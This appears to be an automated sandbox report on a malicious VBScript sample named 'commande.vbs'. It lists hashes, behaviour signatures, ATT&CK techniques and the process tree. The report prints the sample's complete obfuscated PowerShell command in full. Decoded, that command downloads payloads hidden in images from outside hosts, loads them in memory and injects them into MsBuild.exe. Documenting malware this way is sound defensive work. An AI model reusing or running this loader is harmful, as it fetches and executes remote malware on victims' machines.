6385ba95a2f179fac688bc5524caebdd20de2fdd3ddbbc531351f8db1965660c

General

Target
commande.vbs
Size 16KB
Sample251015-nydjhay1hv
SHA256 6385ba95a2f179fac688bc5524caebdd20de2fdd3ddbbc531351f8db1965660c
MD5 f1bb23f681468bd0a06ad4aa45bd1706
SHA1 2083ad5d3396b58d4edc29cbe73d7407d3187cc3
SHA512 f30cd625c7c38a378a75eaaddce9db7e17a53d00ca4118990c2b28a7e7dac5e79785fede6390ec8029c873e076522c3f479e55eb38c5f760334d47e7fddf1512
SSDEEP 384:tqSztrJbtcSokgXmXx6IFhPQmtLqknE8HLF+8Rt0Vp:tbRrJKMgIDLhlE8ra
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5636	powershell.exe
3	5636	powershell.exe
5	5636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5636	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5636 set thread context of 5380	5636	powershell.exe	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3904	taskkill.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
5636	powershell.exe
5636	powershell.exe
5636	powershell.exe
5636	powershell.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe
5380	MsBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5636	powershell.exe
Token: SeDebugPrivilege	3904	taskkill.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 5636	796	WScript.exe	78
PID 796 wrote to memory of 5636	796	WScript.exe	78
PID 5636 wrote to memory of 4040	5636	powershell.exe	80
PID 5636 wrote to memory of 4040	5636	powershell.exe	80
PID 5636 wrote to memory of 4040	5636	powershell.exe	80
PID 5636 wrote to memory of 3904	5636	powershell.exe	81
PID 5636 wrote to memory of 3904	5636	powershell.exe	81
PID 5636 wrote to memory of 5380	5636	powershell.exe	84
PID 5636 wrote to memory of 5380	5636	powershell.exe	84
PID 5636 wrote to memory of 5380	5636	powershell.exe	84
PID 5636 wrote to memory of 5380	5636	powershell.exe	84
PID 5636 wrote to memory of 5380	5636	powershell.exe	84
PID 5636 wrote to memory of 5380	5636	powershell.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\commande.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddssigo ='IAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAd@gBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAd@gBvAHQAbwBjAG8AbABUAHkAd@ABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAd@wAgAHsAIABwAGEAd@gBhAG0AIAAoAFsAd@wB0AHIAaQBuAGd@AWwBdAF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHd@ALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEd@AZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAd@wAuAEwAZQBuAGd@AdABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8Ad@gBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAdAB1AHIAbgAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAd@gBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAd@wAgAD0AIAAnAGgAdAB0ACd@AOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAd@wAyACAAPQAgACd@Ad@ABzADoALwAvACd@AOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAd@wAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAd@wBkAGYAd@wBkAGd@AIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGd@Ad@ABkAHgAagBpAHYAYQBmAHkALgBzAHUAd@ABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8AdgAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAd@wBkAGYAd@wBkAGd@AIAArACAAJwBuAGd@AZgBrAGoAZgB5AC4AaQBjAHUALwBpAG0AZwAvAGkAbQBhAGd@AZQAuAGoAd@ABnAD8AMQAyADd@AMQAxADMANAAzACd@AKQApADsACgAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGd@AZQBCAHkAdABlAHMAIAA9ACAARABvAHd@AbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBrAHMAIAAkAGwAaQBuAGsAd@wA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGd@AZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAd@wB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGd@AXQA6ADoAVQBUAEYAOAAuAEd@AZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAd@wB0AGEAd@gB0AEYAbABhAGd@AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACd@AOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGd@AZQBUAGUAeAB0AC4AUwB1AGIAd@wB0AHIAaQBuAGd@AKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsACgAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAd@wB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAd@wBlADYANABTAHQAd@gBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGd@AKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAd@wBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAd@wBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAd@wApADsACgAgACAAIAAgACAAIAAgACAAIAAgAEd@AZQB0AC0AUAByAG8AYwBlAHMAd@wAgAHwAIABTAG8Ad@gB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAd@gBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAd@wBzAGUAbQBiAGwAeQAuAEd@AZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAd@ABvAHd@AZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACd@AKQA7AAoAIAAgACAAIAAgACAAIAAgAEd@AZQB0AC0AUAByAG8AYwBlAHMAd@wAgAHwAIABTAG8Ad@gB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAd@gBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACd@ATQBzAEIAdQBpAGwAZAAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACd@AbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAGQAYQBvAGwAd@AB1AG4AaQBiAC8Ad@wBlAGwAaQBmAC8AMwAzADIALgAxADEAMQAuADd@ANwAxAC4AMgA5ADEALwAvADoAJwAsACAAJwAwACd@ALAAgACd@AJwAsACAAJABpAG4AagBlAGMALAAgACd@AMAAnACAALAAgACd@AeAA4ADYAJwApACkAfQB9ADsACgA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddssigo.replace('d@','c') ));iex $OWjuxD
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
    3⤵
    PID:4040
- - C:\Windows\SYSTEM32\taskkill.exe
    "taskkill" /PID 4040 /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3904
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_cg1jyn1s.ik2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cg1jyn1s.ik2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/5380-12-0x0000000000400000-0x0000000000449000-memory.dmp

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memory/5636-0-0x00000262B2BBA000-0x00000262B2BBB000-memory.dmp

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memory/5636-8-0x00000262B23F0000-0x00000262B2EB2000-memory.dmp

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memory/5636-7-0x00000262CB400000-0x00000262CB422000-memory.dmp

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memory/5636-9-0x00000262B23F0000-0x00000262B2EB2000-memory.dmp

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memory/5636-10-0x00000262B23F0000-0x00000262B2EB2000-memory.dmp

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memory/5636-11-0x00000262B2220000-0x00000262B223C000-memory.dmp

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memory/5636-16-0x00000262B23F0000-0x00000262B2EB2000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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